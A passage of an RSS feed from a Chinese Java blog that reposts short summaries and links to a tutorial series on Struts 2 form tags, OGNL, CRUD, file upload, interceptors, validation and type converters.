2的新表单标志的使用</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300233.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300233.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300233.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300233.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300233.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300233.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2系列之十二
<br>Struts 2为大家提供了不少常用的很酷的表单标志，简化了我们程序员的工作。不过，由于这些都是新标志，大家可能在使用上还存在不少疑问。本文将就朋友们的回复、留言或Email上的问题，分别对这些酷标志进行讲述。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/05/18/118442.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/118442.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-05-18 19:34 <a href="http://www.blogjava.net/max/archive/2007/05/18/118442.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/05/18/118442.html'>http://www.blogjava.net/max/archive/2007/05/18/118442.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300233.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300233.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Struts 2中的OGNL</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300234.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300234.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300234.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300234.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300234.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300234.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2系列之十一
<br>OGNL是一种功能很大的表达式语言，熟悉它可以使我们的开发变得更快捷。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/04/28/114417.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/114417.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-04-28 19:43 <a href="http://www.blogjava.net/max/archive/2007/04/28/114417.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/04/28/114417.html'>http://www.blogjava.net/max/archive/2007/04/28/114417.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300234.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300234.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]在Struts 2中实现CRUD</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300235.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300235.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300235.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300235.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300235.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300235.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2系列之十
<br>CRUD是Create（创建）、Read（读取）、Update（更新）和Delete（删除）的缩写，它是普通应用程序的缩影。如果您掌握了某框架的CRUD编写，那么意味可以使用该框架创建普通应用程序了，所以大家使用新框架开发OLTP（Online Transaction Processing）应用程序时，首先会研究一下如何编写CRUD。这类似于大家在学习新编程语言时喜欢编写&#8220;Hello World&#8221;。</&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/04/13/110310.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/110310.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-04-13 01:37 <a href="http://www.blogjava.net/max/archive/2007/04/13/110310.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/04/13/110310.html'>http://www.blogjava.net/max/archive/2007/04/13/110310.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300235.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300235.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]在Struts 2中实现文件上传</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300236.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300236.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300236.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300236.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300236.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300236.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2.0系列之九
<br>Struts 2是通过Commons FileUpload文件上传。Commons FileUpload通过将HTTP的数据保存到临时文件夹，然后Struts使用fileUpload拦截器将文件绑定到Action的实例中。从而我们就能够以本地文件方式的操作浏览器上传的文件。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/03/21/105124.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/105124.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-03-21 00:48 <a href="http://www.blogjava.net/max/archive/2007/03/21/105124.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/03/21/105124.html'>http://www.blogjava.net/max/archive/2007/03/21/105124.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300236.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300236.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Struts 2的基石——拦截器（Interceptor）</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300238.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300238.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300238.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300238.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300238.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300238.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2.0系列之七
<br>Interceptor（以下译为拦截器）是Struts 2的一个强有力的工具，有许多功能（feature）都是构建于它之上，如国际化、转换器，校验等。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2006/12/06/85925.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/85925.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2006-12-06 20:10 <a href="http://www.blogjava.net/max/archive/2006/12/06/85925.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2006/12/06/85925.html'>http://www.blogjava.net/max/archive/2006/12/06/85925.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300238.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300238.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]在Struts 2.0中实现表单数据校验（Validation）</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300239.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300239.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300239.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300239.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300239.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300239.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: All Input Is Evil!
										
										-Writing secure code
								
						
				
		
		
        在写前几篇文章的时候，有些朋友建议我的写一篇关于表单数据校验的文章。 正如文章的开头所引用的《Writing Secure Code》的名言：&#8220;所有的输入都是罪恶的&#8221;，所以我们应该对所有的外部...&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2006/11/14/81106.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/81106.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2006-11-14 13:38 <a href="http://www.blogjava.net/max/archive/2006/11/14/81106.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2006/11/14/81106.html'>http://www.blogjava.net/max/archive/2006/11/14/81106.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300239.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300239.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]转换器（Converter）——Struts 2.0中的魔术师</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300240.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300240.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300240.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300240.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300240.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300240.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 在我已往的Struts 1.x项目经验中，有个问题不时的出现——在创建FormBean时，对于某个属性到底应该用String还是其它类型？
		开发Web应用程序与开发传统桌面应用程序不同，Web应用程序实际上是分布个不同的主机（当然也可以同一个主机，不过比较少见）上的两个进程之间互交。这种互交建立在HTTP之上，它们互相传递是都是字符串。换句话说，
        服务器可以的接收到的来自用...&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2006/11/07/79602.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/79602.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2006-11-07 14:26 <a href="http://www.blogjava.net/max/archive/2006/11/07/79602.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2006/11/07/79602.html'>http://www.blogjava.net/max/archive/2006/11/07/79602.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300240.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300240.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>